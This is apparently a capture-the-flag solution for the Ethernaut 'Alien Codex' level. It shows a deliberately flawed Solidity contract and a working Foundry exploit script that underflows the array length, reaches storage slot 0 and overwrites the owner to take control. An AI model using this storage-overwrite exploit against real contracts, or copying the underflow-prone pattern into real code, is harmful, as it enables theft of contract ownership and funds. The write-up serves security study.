Alien Codex

You’ve uncovered an Alien contract. Claim ownership to complete the level.

Things that might help

  • Understanding how array storage works
  • Understanding ABI specifications
  • Using a very underhanded approach
// SPDX-License-Identifier: MIT
pragma solidity ^0.5.0;

import '../helpers/Ownable-05.sol';

contract AlienCodex is Ownable {

  bool public contact;
  bytes32[] public codex;

  modifier contacted() {
    assert(contact);
    _;
  }
  
  function makeContact() public {
    contact = true;
  }

  function record(bytes32 _content) contacted public {
    codex.push(_content);
  }

  function retract() contacted public {
    codex.length--;
  }

  function revise(uint i, bytes32 _content) contacted public {
    codex[i] = _content;
  }
}

Solution:

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import "forge-std/Script.sol";
import "forge-std/console.sol";

interface AlienCodex {
  function contact() external returns(bool);
  function codex() external returns(bytes32[] memory);
  function makeContact() external;
  function retract() external;
  function revise(uint i, bytes32 _content) external;
  function owner() external returns(address);
}

contract POC is Script {
    function run() external {
        uint256 deployerPrivateKey = vm.envUint("PRIVATE_KEY");
        address pubKey = vm.envAddress("PUBLIC_KEY");
        address addr = vm.envAddress("INSTANCE_19");

        vm.startBroadcast(deployerPrivateKey);

        AlienCodex codex = AlienCodex(addr);

        // codex array at slot 1 => first elt in the array at slot keccak256(1)
        uint eltSlot = uint(keccak256(abi.encode(1)));

        // owner address is stored on the first 20 bytes of slot 0
        uint distanceFromSlot0 = type(uint).max - eltSlot;

        codex.makeContact();

        // length underflow; now codex is of length type(uint).max
        // which allows us to reach every possible slot of the contract
        codex.retract();

        // write attacker's address at slot 0
        codex.revise(distanceFromSlot0 + 1, bytes32(abi.encode(pubKey)));

        console.logAddress(codex.owner());

        vm.stopBroadcast();

    }
}

This level exploits the fact that the EVM doesn’t validate an array’s ABI-encoded length vs its actual payload.

Additionally, it exploits the arithmetic underflow of array length, by expanding the array’s bounds to the entire storage area of 2^256. The user is then able to modify all contract storage.

Both vulnerabilities are inspired by 2017’s Underhanded coding contest